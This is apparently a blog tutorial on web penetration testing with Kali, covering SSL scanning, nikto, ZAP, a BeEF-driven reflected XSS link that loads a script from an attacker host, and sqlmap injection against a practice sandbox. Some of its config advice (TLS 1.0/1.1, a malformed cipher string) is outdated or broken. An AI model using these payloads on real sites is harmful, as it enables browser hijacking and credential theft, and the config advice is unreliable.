System and network administrators in order to protect IT and business company from hacker attacks should have a minimal knowledge about web application penetration testing.

This why no one is free to hacker attacks and thinking that hackers are not interested to our website is not good reason for not taking right security actions because, for example, it could be used as trojan horse for hosting malware javascript.

Penetration testing kelp us to mature awareness of the possible company’s vulnerabilities: first step to improve the company’s security. For that I will show how to organize simple penetration web testing using Kali linux distribution: https://www.kali.org/.

Following websites will be used:

1. http://www.altoromutual.com/: false banking website with different vulnerabilities.
2. https://hack.me: free website with hosted vulnerable web application code for educational and research purposes.

The approach used is to explain by real examples how to proceed in the activity: first the examples, next the theory.

The discussion is divided into two sections: SSL and web application penetration testing.

Let’s start with the first.

SSL PenetrationTesting

Every website with sensitive information must have ssl configured: we cannot think to go live without ssl.

The first step to do, atfer creating our certificated signed by Certification Autority,  is to configure correctly ssl: a bad configuration can compromised website’s security and damnage the company’s image.

A good way to test ssl configuration is to submit our site to ssl labs: https://www.ssllabs.com/. The final report help us to understand our ssl vulnerabilities.

Following a bad report from ssllabs where is present what not to do.

Let me explain common vulnerability present above.

The server above is vulnerable to poodle attack  (https://blog.qualys.com/ssllabs/2014/10/15/ssl-3-is-dead-killed-by-the-poodle-attack): it can be mitigated disabling SSLv3. TLS 1.2 is not used and it’s wrong because it’s the last ssl version. For improving our ssl configuration we should use only TLS 1.0, TLS 1.1 and TLS 1.2. SSL version 1, 2 and 3 must not be used:

ssl_protocols           TLSv1 TLSv1.1 TLSv1.2;

The server above is vulnerable to FREAK Attack. This vulnerable is very well explained in this https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html. Four condition must be match for this attack:

1. Main in the middle that asks to server by HELO SSL packet a downgrade to 512 bit RSA key.
2. A Server that accepts it.
3. A broswer that accepts this downgrade.
4. In the meantime, the MITM attacker factors the public key and is able to decrypt all data exchange between the server and the client.

For avoiding this attack please be sure to have openssl updated in the server. You find more information in this article: https://securityblog.redhat.com/2015/03/04/factoring-rsa-export-keys-freak-cve-2015-0204/.

Another vulnerability found is about weak Diffie-Hellman. Let me to recap and to make it quite clear.

In internet every ssl server provides to client a ssl certificate containing generally a RSA public key 2048 bit signed with the private key of a known certificate autority. The browser, after having validates certification sign, starts to share with the server a key and a cipher  symmetric: why? RSA is asymmetric cipher and it’s too slow to crypt data. More fast symmetric ciphers are used. Diffie-Hellman helps us to share with the server a common master secret key. All Diffie-Hellman stuff is signed with RSA public/private key in order to be sure to share the key with the server owned of certificate.

Ephemeral-Diffie-Hellman is the most used because it enable forward secrecy. Please read this article about that: https://tls.mbed.org/kb/cryptography/ephemeral-diffie-hellman.

For configuring Ephemeral-diffie-hellman use these ciphers:

EECDH+AESGCM: ( Ephemeral Eliptical curve Diffie Hellman for key exhange and AESGCM as symmetric cipher)

EDH+AESGCM: ( Ephemeral Diffie Hellman for key exhange and AESGCM as symmetric cipher)

AES256+EECDH:(Ephemeral Eliptical curve Diffie Hellman for key exhange and AES256 as symmetric cipher)

You should absolutely avoid: non-authenticated Diffie-Hellman, RC4 cipher, DES and null-encryption ciphers. Final configuration in nginx syntax is:

EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH!aNULL:!MD5:!kEDH;

With this configuration you should get A vote on ssllabs. If you are not happy about this vote, and you would like to be the top, add in your reverse proxy this http header:

add_header Strict-Transport-Security max-age=31536000;

On Kali you can sslcan your site and understand the final report:

Good SSL Configuration.

root@kali:~# sslscan yourdomain

Heartbleed:
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed

Supported Server Cipher(s):
Accepted TLSv1.0 256 bits ECDHE-RSA-AES256-SHA
Accepted TLSv1.1 256 bits ECDHE-RSA-AES256-SHA
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA
Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256
Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256

Preferred Server Cipher(s):
TLSv1.0 256 bits ECDHE-RSA-AES256-SHA
TLSv1.1 256 bits ECDHE-RSA-AES256-SHA
TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384

SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength: 2048

Bad SSL configuration:

root@kali:~#sslscan yourdomain

TLS renegotiation:
Secure session renegotiation supported

TLS Compression:
Compression disabled

Heartbleed:
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed

Supported Server Cipher(s):
Accepted TLSv1.0 256 bits ADH-AES256-SHA
Accepted TLSv1.0 128 bits ADH-AES128-SHA
Accepted TLSv1.0 112 bits ADH-DES-CBC3-SHA
Accepted TLSv1.0 56 bits ADH-DES-CBC-SHA
Accepted TLSv1.1 256 bits ADH-AES256-SHA
Accepted TLSv1.1 128 bits ADH-AES128-SHA
Accepted TLSv1.1 112 bits ADH-DES-CBC3-SHA
Accepted TLSv1.1 56 bits ADH-DES-CBC-SHA
Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384
Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256
Accepted TLSv1.2 256 bits ADH-AES256-GCM-SHA384
Accepted TLSv1.2 256 bits ADH-AES256-SHA256
Accepted TLSv1.2 256 bits ADH-AES256-SHA
Accepted TLSv1.2 256 bits AES256-GCM-SHA384
Accepted TLSv1.2 256 bits AES256-SHA256
Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256
Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA256
Accepted TLSv1.2 128 bits ADH-AES128-GCM-SHA256
Accepted TLSv1.2 128 bits ADH-AES128-SHA256
Accepted TLSv1.2 128 bits ADH-AES128-SHA
Accepted TLSv1.2 128 bits AES128-GCM-SHA256
Accepted TLSv1.2 128 bits AES128-SHA256
Accepted TLSv1.2 112 bits ADH-DES-CBC3-SHA
Accepted TLSv1.2 0 bits NULL-SHA256

Preferred Server Cipher(s):
TLSv1.0 256 bits ADH-AES256-SHA
TLSv1.1 256 bits ADH-AES256-SHA
TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384

The last configuration is not good: it support NULL cipher without confidentiality, and DES cipher with less than 128 bits.

We can verify ssl vulnerabiltiy using nmap command too:

nmap -d –script ssl-heartbleed –script-args vulns.showall -sV yoursite.com
nmap -d –script ssl-poodle –script-args vulns.showall -sV yoursite.com

Let’s move, after ssl penetration testing, to scan web applications.

Web application penetration testing

We use nikto as first assessment for scanning web vulnerabiltities.This first security screening is the start point in the web application penetrating testing and the goal is find vulnerabilities or possible security issues.

Nikto is a web application penetration tool already available on Kali. The test used by nikto by default are:

0 – File Upload

1 – Interesting File / Seen in logs

2 – Misconfiguration / Default File

3 – Information Disclosure

4 – Injection (XSS/Script/HTML)

5 – Remote File Retrieval – Inside Web Root

6 – Denial of Service

7 – Remote File Retrieval – Server Wide

8 – Command Execution / Remote Shell

9 – SQL Injection

a – Authentication Bypass

b – Software Identification

c – Remote Source Inclusion

x – Reverse Tuning Options (i.e., include all except specified)

Scanning www.altoromutual.it we get this output:

Nikto is fast to execute and usually it provides possible web vulnerabilties. In this case it suggests:

1. Information about web server and asp version are showed. This is not good because gives to hackers important website information.
2. No protection againts clickjacking attack. This happens when a website contains an hidden malware iframe that uses the possible session to our site for attacking it. The protection againts this attack is to add  X-Frame-Options http header. In nginx syntax we should have:

add_header add_header X-Frame-Options SAMEORIGIN;

With SAMEORIGIN the page can only be displayed in a frame on the same origin as the page itself: the website with SAMEORIGIN  cannot be showed as iframe in any another website.

Another warning detected.

1. Cookie without http flag: it permit to avoid to client side script accessing the protected cookie (if the browser supports it).
2. Another warning are about files and directory interesting.

In this phase another tool to use could be wapiti. It is available in kali and similar to nikto: useful for having more information about possible vulnerabilty.

My favorite tool is instead OWASP Zed Attack Proxy (ZAP).

Let’s start the scan with zap tool for finding more new and interesting vulnerabilities:

ZAP is able to scan more deeply the web application respect than nikto or wapiti. Two new important vulnerabilities have been found:

1. SQL injection.
2. XSS.

XSS vulnerability is a big security issue because a hacker has the possibility to run in the domain name of site attacked a malware javascript that is able to do anything a javascript can do. An example show you how this vulnerability can be exploited by a hacker.

In this laboratory I’m going to use Beef: It is a penetration testing tool that focuses on the web browser. You find all the information on http://beefproject.com/.

After installation and running beef, we have a web server running on tcp port 3000 that is able to delivery malware javascript that executed in context browser permit to have full  browser contro.

For starting the attack a mail containing  a link to www.altoromutual.com is sent. The link has the following url: http://www.altoromutual.com/search.aspx?txtSearch=%3Cscript%20src=%22http://192.168.1.100:3000/e1.js%22%3E%3C/script%3E.

The ip address in the uri parameter is where the beef is listening. It could be public ip.

When an hapless user with a session to www.altoromutual.com clicks on above link, the malware javascript is executed in its browser. Following is what is showed in beef console (beef/beef for login).

The ip address 192.168.1.112 is the browser client. Now the hacker has full browser control. We can apply a lot of attacks: one of more interesting is called Pretty Theft: it permit to  inject to browser client a login popup as facebook login:

This is a one of way to stole user credential and make CSRF attack: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Let’s return to our analysis.

Another vulnerabilty found by ZAP tool is sql injection: it is very dangerous because permit to access to backend database. We can to deep this attack with another tool sqlmap.

For demostrating how this vulnerability can be dangerous, I use https://hack.me site: it give the possibility to run web vulnerability application in a sandbox for educational and research purposes.

After registering to site, please run following sandbox: https://hack.me/102132/delete-all-the-things.html.

Running sqlmap:

[root@kali] sqlmap -v 5 -u “http://s34199-102132-yw8.sipontum.hack.me/index.php?s=&action=Search” –schema –batch –exclude-sysdbs
GET /index.php?s=%25%27%20UNION%20ALL%20SELECT%20CONCAT%280x71676d7771%2CIFNULL%28CAST%28
column_name%20AS%20CHAR%29%2C0x20%29%2C0x707069716f61%2CIFNULL%28CAST%28
column_type%20AS%20CHAR%29%2C0x20%29%2C0x7177687771%29%2CNULL%20FROM%20
INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x7573657273%20AND%20
table_schema%3D0x6d7964617461%23&action=Search HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: s34199-102132-yw8.sipontum.hack.me
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close
[20:15:15] [TRAFFIC IN] HTTP response [#51] (200 OK):
Content-length: 1265
X-powered-by: PHP/5.3.16, ASP.NET
Uri: http://s34199-102132-yw8.sipontum.hack.me:80/index.php?s=%25%27%20UNION%20ALL%20SELECT%20CONCAT%280x71676d7771%2CIFNULL%28CAST%28
column_name%20AS%20CHAR%29%2C0x20%29%2C0x707069716f61%2CIFNULL%28CAST%28c
olumn_type%20AS%20CHAR%29%2C0x20%29%2C0x7177687771%29%2CNULL%20FROM%20
INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x7573657273%20AND%20
table_schema%3D0x6d7964617461%23&action=Search
Server: Microsoft-IIS/7.5
Connection: close
Date: Sun, 21 Feb 2016 19:15:19 GMT
Content-type: text/html
Allocatedonthefly-by: Coliseum Framework an eLearnSecurity Project
[20:15:15] [DEBUG] performed 1 queries in 4.01 seconds
Database: mydata
Table: users
[2 columns]
+———-+————-+
| Column | Type |
+———-+————-+
| email | varchar(64) |
| username | varchar(32) |
+———-+————-+

Great sqlmap: it got database access. After few attempts we found the right query ‘ or ‘select * from users for showing all db users.

After this first phase where the job is done mailny by tools, we have to go more inside the tests. This means to know how the web application works and guess how to exploit it.

ZAP can always be used for helping us to find exploit in this more specific phase thanks the proxing functionality. The only think to do is set ZAP as http proxy in the browser.

ZAP as http proxy permit to put in wait any http request. This is useful for checking the web app behaviour when the data post/get are modified. Example: if a HTTP Post has the parameter uid, we can try to change it to admin to verify a possible privilege escalation.

ZAP permit to also generate fake SSL certificate to import in the browser for showing and modify https traffic: it is very useful for finding vulnerability in web site with ssl enabled.

Other zap feature is the possibility to integrate in the gui other penetration tool like sqlmap: it makes easier and user friendly the job.

That’s enough for now: in the next article I will deepen the penetration web testing using OWASP Broken Web Applications: a collection of vulnerable web applications distributed on a Virtual Machine.